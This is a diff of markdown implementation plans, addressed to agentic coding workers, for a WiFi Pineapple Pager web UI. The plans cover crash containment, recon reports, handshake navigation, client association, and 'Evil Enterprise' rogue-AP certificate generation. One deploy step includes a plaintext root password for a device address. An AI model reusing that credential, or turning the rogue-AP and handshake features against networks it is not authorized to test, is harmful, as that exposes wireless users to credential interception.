Track timestamped PID/SIGSEGV events in a bounded in-memory list. Enter quarantine at three crashes in 120 seconds. Stop Mark VIII restart calls while quarantined. Clear after 300 stable seconds or explicit recovery. For an oversized pool during the threshold-crossing event, write a timestamped diagnostic copy under `/root/loot/pineapd-diagnostics/`, clear through the existing safe pool command, and make one reconciled restart attempt.
|
||||
|
||||
- [ ] **Step 6: Add diagnostics endpoint tests**
|
||||
|
||||
Assert the download contains firmware/hash, policy, relevant UCI, monitor state, pool metrics, bounded event history, and health actions. Assert it excludes certificate private-key contents, enterprise secrets, cookies, and daemon binary data.
|
||||
|
||||
- [ ] **Step 7: Implement diagnostics and UI health detail**
|
||||
|
||||
Register `GET /api/health/diagnostics`. Reuse `Download` with JSON content and attachment naming. Expand `/api/health` with build/quarantine/reconcile data and display concise affected/unknown/quarantined state in the existing top-bar health treatment.
|
||||
|
||||
- [ ] **Step 8: Correct stability documentation**
|
||||
|
||||
Document automatic affected-build reconciliation, unknown-build behavior, passive checks, thresholds, and diagnostic preservation. Remove claims that normal health checks always clear the pool.
|
||||
|
||||
- [ ] **Step 9: Run health, environment, and robustness tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_health tests.test_env_check tests.test_robustness -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 10: Commit containment changes**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/app.js payload/user/remote_access/pager-webui/README.md README.md tests/test_health.py tests/test_env_check.py tests/test_robustness.py
|
||||
git commit -m "fix: contain affected pineapd crash loops"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 3: Self-Contained Report Signal Maps
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py:1921-2174`
|
||||
- Test: `tests/test_recon.py:991-1191`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `_report_channel_maps(aps) -> str` containing zero or more escaped inline SVG sections.
|
||||
- Produces: `_report_channel_map(aps, band) -> str` for one of `2.4`, `5`, or `6`.
|
||||
- Consumes: AP dictionaries from `recon_scan_data` and existing `_esc_html`, `band_of`, and report CSS.
|
||||
|
||||
- [ ] **Step 1: Add failing report-map tests**
|
||||
|
||||
Add representative 2.4, 5, and 6 GHz APs and assert one SVG per populated band, expected labels, all four signal colors, raised-cosine path data, and escaped SSID/vendor metadata inside `<title>`. Assert no `<script>`, remote URL, or malformed SVG for missing channel/frequency.
|
||||
|
||||
- [ ] **Step 2: Run report tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconReportTest tests.test_recon.ReconArchivesTest -v`
|
||||
|
||||
Expected: failures because reports contain occupancy tables but no signal-map SVG.
|
||||
|
||||
- [ ] **Step 3: Implement pure SVG helpers**
|
||||
|
||||
Port the existing channel-to-frequency, band-range, -100/-30 dBm scaling, +/-10 MHz width, and raised-cosine sampling math to Python. Clamp signal values to the graph range. Generate deterministic `viewBox` SVG with axes, labels, paths, and escaped titles. Omit bands with no plottable APs.
|
||||
|
||||
- [ ] **Step 4: Integrate maps and print styling**
|
||||
|
||||
Add responsive `.signal-map`, `.map-grid`, axis, and print CSS to `REPORT_CSS`. Insert maps after stat cards and before breakdown tables in `_recon_html_download`. Label live GPS as a report-generation-time fix and preserve archive omission.
|
||||
|
||||
- [ ] **Step 5: Run report tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconReportTest tests.test_recon.ReconArchivesTest -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 6: Commit report maps**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
|
||||
git commit -m "feat: add signal maps to HTML recon reports"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 4: Move Handshakes Under PineAP
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/app.js:94-99, 411-436`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:330-363, 944-948, 1747-1750, 2905-2908`
|
||||
- Test: `tests/test_recon.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: canonical route `#/pineap/handshakes` rendering `views.recon_handshakes` within `pineapShell`.
|
||||
- Preserves: redirect `#/recon/handshakes` to the canonical route.
|
||||
|
||||
- [ ] **Step 1: Add failing static route tests**
|
||||
|
||||
Assert `PINEAP_TABS` contains `#/pineap/handshakes`, `RECON_TABS` does not contain Handshakes, the router registers the canonical route, the legacy redirect exists, and the Recon card links to the canonical route.
|
||||
|
||||
- [ ] **Step 2: Run route tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon -v`
|
||||
|
||||
Expected: new navigation assertions fail.
|
||||
|
||||
- [ ] **Step 3: Move the route and shell**
|
||||
|
||||
Add Handshakes to `PINEAP_TABS`, remove it from `RECON_TABS`, register `#/pineap/handshakes`, redirect the old hash, update the summary-card link, and render the existing Handshakes body inside `pineapShell(root, '#/pineap/handshakes')` without changing data APIs.
|
||||
|
||||
- [ ] **Step 4: Run Recon tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 5: Commit navigation**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/www/js/app.js payload/user/remote_access/pager-webui/www/js/views.js tests/test_recon.py
|
||||
git commit -m "ui: move handshakes into PineAP"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 5: Evil Enterprise Self-Signed Certificates
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py:3462-4151, 6673-6683`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js:1386-1628`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css:501-620`
|
||||
- Modify: `payload/user/remote_access/pager-webui/pagerwebui.init:15-25`
|
||||
- Test: `tests/test_attacks.py:204-319, 434-455`
|
||||
- Test: `tests/test_pineap_enterprise.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `_validate_cert_request(fields) -> dict` normalized subject/SAN/validity data or raises `ValueError`.
|
||||
- Produces: `_ent_cert_status() -> dict` with validity, subject, SANs, fingerprint, dates, key type/size, and key-match state.
|
||||
- Produces: `_generate_ent_certificate(fields) -> dict` with install/restart/rollback result.
|
||||
- Produces: `GET /api/pineap/enterprise/certificate` and `POST /api/pineap/enterprise/certificate/generate`.
|
||||
|
||||
- [ ] **Step 1: Add failing validation and status tests**
|
||||
|
||||
Test country length, control-character rejection, 128-byte subject limits, required common name, 1-3650 validity, no more than 20 SANs, ASCII DNS syntax/253-character limit, and normalization of comma/newline-separated SAN input. Mock OpenSSL status commands and assert private-key content is never returned.
|
||||
|
||||
- [ ] **Step 2: Run enterprise tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_attacks tests.test_pineap_enterprise -v`
|
||||
|
||||
Expected: failures because certificate request/status helpers and routes do not exist.
|
||||
|
||||
- [ ] **Step 3: Implement validation and certificate inspection**
|
||||
|
||||
Use strict subject-field validation and DNS-label parsing. Inspect certificate metadata with bounded OpenSSL argv calls. Compare certificate/key public-key digests without exposing them through the API. Return clear invalid/missing state rather than treating nonempty files as valid.
|
||||
|
||||
- [ ] **Step 4: Add failing atomic generation tests**
|
||||
|
||||
Mock temporary-directory creation and OpenSSL to assert `req -x509 -newkey rsa:2048 -sha256 -nodes`, SAN/serverAuth extensions, mode `0600` for key, `0644` for certificate, validation before replacement, backup restoration on failure, and cleanup of temporary files.
|
||||
|
||||
- [ ] **Step 5: Implement atomic generation**
|
||||
|
||||
Generate under a mode-`0700` directory inside `/root/loot/enterprise`. Validate parseability, current validity, key match, subject, and SANs. Back up active files, atomically replace them, and restore backups on install failure. Replace `_ensure_ent_certs` shared-bundle copying with generation through this path when valid active files are absent.
|
||||
|
||||
- [ ] **Step 6: Add failing active-restart and rollback tests**
|
||||
|
||||
When `_ent_running()` is true, assert the existing deployment state is copied, the new certificate is installed, `_deploy_enterprise` is invoked with unchanged settings, and success requires enabled hostapd. Force deployment failure and assert old certificate restoration plus one previous-state redeploy attempt; include rollback outcome in HTTP 502 data.
|
||||
|
||||
- [ ] **Step 7: Implement serialized restart and rollback**
|
||||
|
||||
Use the attack/deploy lock for certificate generation. Keep old certificate backups until redeploy succeeds. On failure, stop partial enterprise state, restore files, and attempt previous deployment exactly once. Do not recursively call certificate generation from deployment fallback.
|
||||
|
||||
- [ ] **Step 8: Add certificate APIs and matching UI card**
|
||||
|
||||
Register authenticated GET/status and POST/generate routes. Add an Evil Enterprise card using existing `.settings-form-grid`, `.pineap-infobox`, `runAction`, and button patterns. Include the requested fields, installed metadata, generation busy state, and a warning that active Enterprise will restart automatically. Refresh attack and certificate status after completion.
|
||||
|
||||
- [ ] **Step 9: Fix secret permissions**
|
||||
|
||||
Replace `chmod -R 755 "$PAGER_WEBUI_DIR"` with directory/file-specific safe modes that preserve executable scripts while keeping bundled/runtime keys `0600`. Explicitly chmod runtime `server.key`, `eap_users`, and enterprise state to `0600` after writes.
|
||||
|
||||
- [ ] **Step 10: Run enterprise tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_attacks tests.test_pineap_enterprise -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 11: Commit certificate flow**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css payload/user/remote_access/pager-webui/pagerwebui.init tests/test_attacks.py tests/test_pineap_enterprise.py
|
||||
git commit -m "feat: generate Evil Enterprise certificates"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 6: Integration Verification and Pager Deployment
|
||||
|
||||
**Files:**
|
||||
- Modify if required by verified defects: files from Tasks 1-5 only
|
||||
- Build artifact: `build/pager-webui/payload-cGFnZXItd2VidWk.zip`
|
||||
|
||||
**Interfaces:**
|
||||
- Consumes: all completed task interfaces.
|
||||
- Produces: verified local suite, payload build, live Pager deployment, and browser/device evidence.
|
||||
|
||||
- [ ] **Step 1: Run every unit-test module in isolated processes**
|
||||
|
||||
Run:
|
||||
|
||||
```bash
|
||||
for f in tests/test_*.py; do python3 -m unittest "tests.$(basename "$f" .py)" -v || exit 1; done
|
||||
```
|
||||
|
||||
Expected: every module reports `OK`.
|
||||
|
||||
- [ ] **Step 2: Build the payload**
|
||||
|
||||
Run the repository's existing payload build/deploy script in its build-only or pre-upload stage. Verify the staged payload contains updated source and no `loot/`, temporary private keys, test caches, or unrelated untracked files.
|
||||
|
||||
- [ ] **Step 3: Deploy to the authorized Pager**
|
||||
|
||||
Use `scripts/deploy.sh --password 'Bryce9205'` against `root@172.16.52.1`. Record whether safe UCI reconciliation changes the five affected keys. Do not enable pool broadcast.
|
||||
|
||||
- [ ] **Step 4: Verify daemon and APIs**
|
||||
|
||||
Confirm `pidof pineapd`, `/api/health`, affected build/hash, non-quarantined status, safe UCI values, both monitor interfaces expected by hardware, and diagnostic download. Watch logs long enough to cover multiple historical 15-second crash intervals.
|
||||
|
||||
- [ ] **Step 5: Verify Recon behavior**
|
||||
|
||||
Run a controlled timed scan with enabled but unassociated `dummy_radio0`; verify no false starvation message, tracked scan ID, and 2.4 GHz results. Then use an existing legitimate AP/STA pin scenario and confirm channel-limited copy is accurate.
|
||||
|
||||
- [ ] **Step 6: Verify reports and navigation in browser**
|
||||
|
||||
At desktop and mobile viewports, verify Recon has Scanning/Reports only, PineAP has Handshakes, the old hash redirects, and generated live/archive HTML reports contain printable maps for all available bands.
|
||||
|
||||
- [ ] **Step 7: Verify certificate generation and restart**
|
||||
|
||||
Generate a certificate with representative attributes, inspect it with `openssl x509 -text`, verify file modes, deploy Enterprise, generate a second certificate while active, and confirm automatic restart uses the new fingerprint. Exercise a controlled mocked/local failure for rollback if forcing hostapd failure on the live device would risk connectivity.
|
||||
|
||||
- [ ] **Step 8: Review final diff and status**
|
||||
|
||||
Run `git status --short`, `git diff --check`, and inspect the cumulative diff from `00cbc52`. Confirm `loot/` and pre-existing untracked `certs/` remain unstaged.
|
||||
|
||||
- [ ] **Step 9: Commit only verified integration fixes if any**
|
||||
|
||||
If verification required code changes, stage only those files and commit with a focused message. Do not create an empty commit.
|
||||
@@ -0,0 +1,281 @@
|
||||
# Recon Client Associations and Device Identity Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Add confirmed client-to-SSID/AP associations and best-available manufacturer identity to Recon APIs, tables, focus details, exports, and reports.
|
||||
|
||||
**Architecture:** Keep `recon_scan_data()` as the canonical enrichment boundary. Add cached local OUI resolution and scan-scoped evidence joins in `server.py`, then consume the enriched object shape in existing JSON/CSV/HTML serializers and `views.recon`. Handshake evidence may resolve BSSID; `hostap_client` evidence remains SSID-only because its schema has no BSSID.
|
||||
|
||||
**Tech Stack:** Python 3 standard library, SQLite read-only queries, vanilla JavaScript, existing test suite, no frontend build step.
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Associations must never be inferred from proximity, channel, timing, or probe requests.
|
||||
- `ssid.type = 5` directed probes are not associations.
|
||||
- `hostap_client` rows create confirmed SSID-only associations and never claim an AP BSSID.
|
||||
- OUI resolution uses Nmap, macchanger, then the built-in map, then `Unknown`.
|
||||
- Missing OUI files or optional association data must not fail Recon.
|
||||
- No external network lookup or wireless/PineAP configuration change is allowed.
|
||||
- Preserve unrelated existing changes in `server.py`, `tests/test_recon.py`, `loot/`, and certificate files.
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Add Cached OUI Identity Resolution
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` near `OUI_VENDORS`, `_oui_prefix`, and `oui_vendor`
|
||||
- Test: `tests/test_recon.py` in `DecodersTest`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces `oui_identity(mac)` returning a JSON-safe dictionary with `manufacturer`, `model`, `oui`, and `source`.
|
||||
- Keeps `oui_vendor(mac)` behavior compatible for existing callers.
|
||||
|
||||
- [ ] **Step 1: Write failing tests**
|
||||
|
||||
Add tests that patch `server.OUI_DATA_PATHS` and `server.open`, reset the identity cache, and assert Nmap wins over macchanger and built-in fallback. Add tests for missing files, unknown global MACs, locally administered MACs, and `model is None`.
|
||||
|
||||
```python
|
||||
def test_oui_identity_prefers_nmap_then_macchanger(self):
|
||||
server._oui_identity_cache = None
|
||||
files = {
|
||||
'/nmap': 'C89E43 Apple Corporation\n',
|
||||
'/mac': 'C89E43 fallback\n',
|
||||
}
|
||||
with mock.patch.object(server, 'OUI_DATA_PATHS', ['/nmap', '/mac']), \
|
||||
mock.patch('builtins.open', side_effect=lambda p, *a, **k:
|
||||
mock.mock_open(read_data=files[p]).return_value):
|
||||
value = server.oui_identity('C89E43648080')
|
||||
self.assertEqual(value['manufacturer'], 'Apple Corporation')
|
||||
self.assertEqual(value['source'], 'nmap')
|
||||
self.assertIsNone(value['model'])
|
||||
|
||||
def test_oui_identity_handles_local_and_unknown(self):
|
||||
server._oui_identity_cache = {}
|
||||
self.assertEqual(server.oui_identity('02:11:22:33:44:55')['manufacturer'],
|
||||
'Local/Randomized')
|
||||
self.assertEqual(server.oui_identity('AA:BB:CC:00:00:01')['manufacturer'],
|
||||
'Unknown')
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run the focused tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.DecodersTest -v`
|
||||
|
||||
Expected: FAIL because `OUI_DATA_PATHS`, `_oui_identity_cache`, and
|
||||
`oui_identity()` do not yet exist.
|
||||
|
||||
- [ ] **Step 3: Implement the smallest resolver**
|
||||
|
||||
Add the two device paths, a process-level cache, parsers for the first six
|
||||
hexadecimal characters in each local database line, source labels `nmap` and
|
||||
`macchanger`, and fallback to `OUI_VENDORS`. Return `model: None` for every
|
||||
current source. Detect the locally administered bit before file lookup.
|
||||
|
||||
- [ ] **Step 4: Run focused and regression tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.DecodersTest -v`
|
||||
|
||||
Expected: PASS, including the pre-existing `oui_vendor` assertions.
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
|
||||
git commit -m "feat: resolve recon device manufacturers locally"
|
||||
```
|
||||
|
||||
### Task 2: Enrich Scan Associations and APs
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` in `recon_scan_data()` and its nearby SQL helpers
|
||||
- Test: `tests/test_recon.py` in `ReconDataTest`
|
||||
|
||||
**Interfaces:**
|
||||
- `recon_scan_data(scan_id, _timeout=20, _limit=None, db=None)` returns existing fields plus AP `device_identity`, `clients`, `client_count`, and client `vendor`, `associations`.
|
||||
|
||||
- [ ] **Step 1: Extend the fixture and write failing tests**
|
||||
|
||||
Add `hostap_client` rows, a second AP/client handshake pair, and a type-5 probe row to `make_db()`. Assert handshake association has SSID/BSSID/source, host-AP association has SSID and no BSSID, type-5 does not associate, duplicate evidence merges sources, AP counts are unique, and client/AP vendors are present.
|
||||
|
||||
```python
|
||||
def test_scan_detail_associations_are_confirmed_only(self):
|
||||
data = server.recon_scan_data(1)
|
||||
client = next(c for c in data['clients'] if c['mac'] == 'AE:77:C0:EB:31:41')
|
||||
self.assertEqual(client['associations'][0]['sources'], ['handshake'])
|
||||
self.assertEqual(client['associations'][0]['ssid'], 'Anderson-5')
|
||||
self.assertEqual(client['associations'][0]['bssid'], 'C8:9E:43:64:80:80')
|
||||
self.assertEqual(data['aps'][0]['client_count'], 1)
|
||||
self.assertNotIn('ProbeOnlySSID', [a['ssid'] for a in client['associations']])
|
||||
```
|
||||
|
||||
- [ ] **Step 2: Run the focused test and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconDataTest -v`
|
||||
|
||||
Expected: FAIL because enriched association fields do not exist.
|
||||
|
||||
- [ ] **Step 3: Add bounded evidence queries**
|
||||
|
||||
Load handshake pairs from the selected scan and resolve AP/client MACs from the
|
||||
already loaded `wifi_device` rows. If `hostap_client` exists, query only rows
|
||||
for the selected scan inside a guarded `try` block; if the table is absent,
|
||||
use an empty list. Do not join type-5 rows into the association map.
|
||||
|
||||
- [ ] **Step 4: Build deterministic deduplicated associations**
|
||||
|
||||
Normalize MACs and use `(client_mac, bssid, ssid)` as the association key,
|
||||
where a missing BSSID is represented separately from any AP row. Merge source
|
||||
names in stable order `handshake`, then `hostap_client`, and retain host-AP
|
||||
timestamps. Attach BSSID-backed associations to matching APs only; attach
|
||||
SSID-only host-AP evidence to clients only.
|
||||
|
||||
- [ ] **Step 5: Add identity and AP/client projection**
|
||||
|
||||
Call `oui_identity()` for every AP BSSID and client MAC. Add `clients` and
|
||||
`client_count` to AP objects, preserving current AP ordering and existing
|
||||
fields. Keep clients with no association and set `associations: []`.
|
||||
|
||||
- [ ] **Step 6: Run the complete Recon tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon -v`
|
||||
|
||||
Expected: PASS for all existing and new tests.
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
|
||||
git commit -m "feat: associate recon clients with confirmed networks"
|
||||
```
|
||||
|
||||
### Task 3: Propagate Enriched Data Through Exports
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/server.py` in Recon CSV/HTML builders and download handlers
|
||||
- Test: `tests/test_recon.py` in `ReconReportTest`
|
||||
|
||||
**Interfaces:**
|
||||
- Existing JSON downloads preserve the enriched detail object.
|
||||
- Existing CSV and HTML downloads include identity, client counts, and confirmed association details.
|
||||
|
||||
- [ ] **Step 1: Write failing export assertions**
|
||||
|
||||
Assert JSON contains `device_identity` and `associations`, CSV headers/rows
|
||||
contain `Device Identity`, `Client Count`, and semicolon-separated confirmed
|
||||
SSIDs, and HTML contains a `Confirmed Clients` section while excluding the
|
||||
type-5 probe SSID.
|
||||
|
||||
- [ ] **Step 2: Run report tests and verify failure**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon.ReconReportTest -v`
|
||||
|
||||
Expected: FAIL because serializers currently omit the enrichment.
|
||||
|
||||
- [ ] **Step 3: Implement deterministic flattening and report sections**
|
||||
|
||||
Keep JSON unchanged apart from its enriched source object. Add CSV columns
|
||||
using a stable display identity and `'; '.join()` for multiple association
|
||||
SSIDs. Add AP identity/client count to the existing AP table and a confirmed
|
||||
client table to HTML, escaping all values through the existing HTML helpers.
|
||||
|
||||
- [ ] **Step 4: Run report and full Python tests**
|
||||
|
||||
Run: `python3 -m unittest tests.test_recon tests.test_health tests.test_ws -v`
|
||||
|
||||
Expected: PASS.
|
||||
|
||||
- [ ] **Step 5: Commit**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/server.py tests/test_recon.py
|
||||
git commit -m "feat: include recon identity in exports"
|
||||
```
|
||||
|
||||
### Task 4: Update Recon Tables and Focus Details
|
||||
|
||||
**Files:**
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/js/views.js` around `reconDefaultCols`, `colDefs`, table column definitions, and `renderFocus`
|
||||
- Modify: `payload/user/remote_access/pager-webui/www/css/app.css` for compact identity/association detail styling if needed
|
||||
- Test: `tests/test_recon.py` source assertions or existing frontend smoke harness
|
||||
|
||||
**Interfaces:**
|
||||
- Existing `views.recon` consumes enriched AP/client objects without new endpoints.
|
||||
- `pw_recon_cols` migration preserves existing values and adds new defaults.
|
||||
|
||||
- [ ] **Step 1: Add source-level failing assertions**
|
||||
|
||||
Assert the source contains default AP `identity` and `clients` columns, client
|
||||
`vendor` and `associated_ssid` columns, association search values, and a
|
||||
`Confirmed Clients` focus section.
|
||||
|
||||
- [ ] **Step 2: Implement client/AP display helpers**
|
||||
|
||||
Add a helper that formats `device_identity` as manufacturer plus model when
|
||||
model is non-null, otherwise manufacturer plus OUI for unknown values. Add a
|
||||
helper that formats one association SSID or `first SSID +N` and sets the full
|
||||
association summary in the cell `title`.
|
||||
|
||||
- [ ] **Step 3: Update column defaults and settings**
|
||||
|
||||
Replace AP `vendor` with `identity`, add AP `clients`, and add client `vendor`
|
||||
and `associated_ssid` defaults. When loading old settings, merge missing keys
|
||||
from `reconDefaultCols()` rather than discarding the saved preferences.
|
||||
|
||||
- [ ] **Step 4: Update filtering, sorting, and table rendering**
|
||||
|
||||
Include formatted identity and association strings in searchable values,
|
||||
retain numeric sorting for client counts, and render the new columns through
|
||||
the existing table/paginator code.
|
||||
|
||||
- [ ] **Step 5: Add confirmed clients to AP focus**
|
||||
|
||||
Render MAC, vendor, and comma-separated evidence sources from `ap.clients`.
|
||||
Show `No confirmed clients` for an empty list and do not list probe-only
|
||||
records.
|
||||
|
||||
- [ ] **Step 6: Run frontend/source and Python tests**
|
||||
|
||||
Run: `python3 -m unittest discover -s tests -p 'test_*.py' -v`
|
||||
|
||||
Expected: PASS. Then run the project’s existing browser smoke harness if
|
||||
available and verify desktop/mobile Recon rendering without changing device
|
||||
configuration.
|
||||
|
||||
- [ ] **Step 7: Commit**
|
||||
|
||||
```bash
|
||||
git add payload/user/remote_access/pager-webui/www/js/views.js payload/user/remote_access/pager-webui/www/css/app.css tests/test_recon.py
|
||||
git commit -m "feat: show recon client identities and associations"
|
||||
```
|
||||
|
||||
### Task 5: On-Device Read-Only Verification
|
||||
|
||||
**Files:**
|
||||
- No source changes expected.
|
||||
- Evidence: local command output only; do not add credentials or device dumps to git.
|
||||
|
||||
- [ ] **Step 1: Deploy through the project’s normal development/deploy path**
|
||||
|
||||
Use the existing script documented in `README.md`; do not alter wireless or
|
||||
PineAP settings.
|
||||
|
||||
- [ ] **Step 2: Compare API data with read-only SQLite evidence**
|
||||
|
||||
Query `scan`, `wifi_device`, `ssid`, `handshake`, and `hostap_client` using the
|
||||
read-only SQLite URI. Confirm handshake BSSID/client pairs match API
|
||||
associations, host-AP entries are SSID-only, and type-5 rows are absent from
|
||||
associations.
|
||||
|
||||
- [ ] **Step 3: Verify identity and UI behavior**
|
||||
|
||||
Confirm AP identity resolves from an installed local database or fallback,
|
||||
unknown/local MAC labels are honest, Access Points shows client counts and
|
||||
identity, Clients shows vendor/SSID, and the focus sidebar shows confirmed
|
||||
clients at desktop and mobile widths.
|
||||
|
||||
- [ ] **Step 4: Run final verification before claiming completion**
|
||||
|
||||
Run: `git diff --check`, `python3 -m unittest discover -s tests -p 'test_*.py' -v`, and `git status --short`.
|
||||
|
||||
Expected: no whitespace errors, all tests pass, and only intended source
|
||||
changes plus pre-existing worktree changes are present.
|
||||
@@ -0,0 +1,983 @@
|
||||
# Mark VIII Reliability Core Implementation Plan
|
||||
|
||||
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
|
||||
|
||||
**Goal:** Make the Pager run reliably and consistently as expected via payload-only hardening: boot-time guard, config profiles with rollback watchdogs, RF role manager (uplink on phy1), integrated supervisor with event journal, atomic deploys, and an on-device smoke suite.
|
||||
|
||||
**Architecture:** Three layers inside the existing payload — `mk8-guard` init script (START=49, before the S50 pineapple stack), new `mk8_*.py` stdlib modules imported by `server.py`, and a passive supervisor thread extending the existing health monitor. Persistent state in `/mmc/mk8/` (survives reboots and overlay wipes).
|
||||
|
||||
**Tech Stack:** Python 3 stdlib only (`python3-light` on device: no urllib/http.server/sqlite3 modules), POSIX sh for device scripts, vanilla JS frontend, Bash + sshpass/scp for deploy tooling.
|
||||
|
||||
## Global Constraints
|
||||
|
||||
- Spec: `docs/superpowers/specs/2026-08-22-reliability-core-design.md` (approved).
|
||||
- Device constraints: python3-light stdlib only; BusyBox (no `pkill`; use `killall`/`pidof`); never actively ping pineapd's command socket from loops; never run `wifi reload` outside gated operations.
|
||||
- All persistent state under `/mmc/mk8/`. No writes to stock binaries or `/etc/config` outside reconciler/gated ops.
|
||||
- Tests: stdlib `unittest`, one module per process (tests monkeypatch module state); run pattern:
|
||||
`python3 -m unittest tests.test_<name> -v`
|
||||
- Frontend checks: `node --check <file>` after every JS edit.
|
||||
- Device access is **read-only until Task 10** (deploy + smoke). Password auth via `sshpass -p '<pw>' ssh -o StrictHostKeyChecking=no root@172.16.52.1`.
|
||||
- Branch: `feature/reliability`. Commit after every passing step.
|
||||
- Version: single-source `VERSION` file at repo root; next version `1.4.0`.
|
||||
|
||||
## File Structure
|
||||
|
||||
```
|
||||
payload/user/remote_access/pager-webui/
|
||||
mk8_events.py NEW event journal (JSONL append/rotate/read + counters)
|
||||
mk8_profiles.py NEW UCI snapshot store (/mmc/mk8/profiles)
|
||||
mk8_guard.py NEW known-good invariants + reconcile() + CLI hooks
|
||||
mk8_rfplan.py NEW phy1 RF role manager (uplink/attack/idle)
|
||||
mk8_gate.py NEW risky-op preflight gate + watchdog decision logic
|
||||
mk8-watchdog.sh NEW detached local-liveness rollback watchdog
|
||||
mk8-guard.init NEW START=49 boot guard script (installed to /etc/init.d/mk8-guard)
|
||||
server.py MOD imports, startup hook, h_health extension, /api/reliability/* + /api/rfplan/* routes, gates on risky handlers
|
||||
www/js/views.js MOD health events feed, reliability counters, RF chip, Settings profiles card
|
||||
www/js/app.js MOD nav wiring if needed
|
||||
www/css/app.css MOD styles for new UI elements
|
||||
scripts/deploy.sh MOD VERSION stamping, atomic release swap, post-deploy check, guard install
|
||||
scripts/smoke.sh NEW on-device verification suite
|
||||
VERSION NEW "1.4.0"
|
||||
tests/test_mk8_events.py, test_mk8_profiles.py, test_mk8_guard.py,
|
||||
tests/test_mk8_gate.py, test_mk8_rfplan.py, test_reliability_api.py NEW
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Task 1: Event journal (`mk8_events.py`)
|
||||
|
||||
**Files:**
|
||||
- Create: `payload/user/remote_access/pager-webui/mk8_events.py`
|
||||
- Test: `tests/test_mk8_events.py`
|
||||
|
||||
**Interfaces:**
|
||||
- Produces: `log_event(kind, sev='info', msg='', meta=None)`; `read_events(limit=100)` → list of dicts newest-first; `counters()` → dict with keys `boots`, `unexpected_boots`, `rollbacks`, `restarts`, `guard_fixes`; `mark_boot()`; constants `MK8_DIR='/mmc/mk8'`, `EVENTS_PATH`, `MAX_BYTES=5*1024*1024`, `KEEP=4`.
|
||||
|
||||
- [ ] **Step 1: Write failing tests**
|
||||
|
||||
```python
|
||||
import json, os, sys, tempfile, unittest
|
||||
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload', 'user', 'remote_access', 'pager-webui'))
|
||||
import mk8_events
|
||||
|
||||
class EventsTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.dir = tempfile.mkdtemp()
|
||||
self.old = mk8_events.MK8_DIR
|
||||
mk8_events.MK8_DIR = self.dir
|
||||
mk8_events.EVENTS_PATH = os.path.join(self.dir, 'events.log')
|
||||
|
||||
def tearDown(self):
|
||||
mk8_events.MK8_DIR = self.old
|
||||
|
||||
def test_log_and_read_newest_first(self):
|
||||
mk8_events.log_event('boot', msg='first')
|
||||
mk8_events.log_event('rollback', sev='warn', msg='second', meta={'op': 'wifi'})
|
||||
rows = mk8_events.read_events()
|
||||
self.assertEqual(rows[0]['kind'], 'rollback')
|
||||
self.assertEqual(rows[1]['kind'], 'boot')
|
||||
self.assertEqual(rows[0]['meta'], {'op': 'wifi'})
|
||||
|
||||
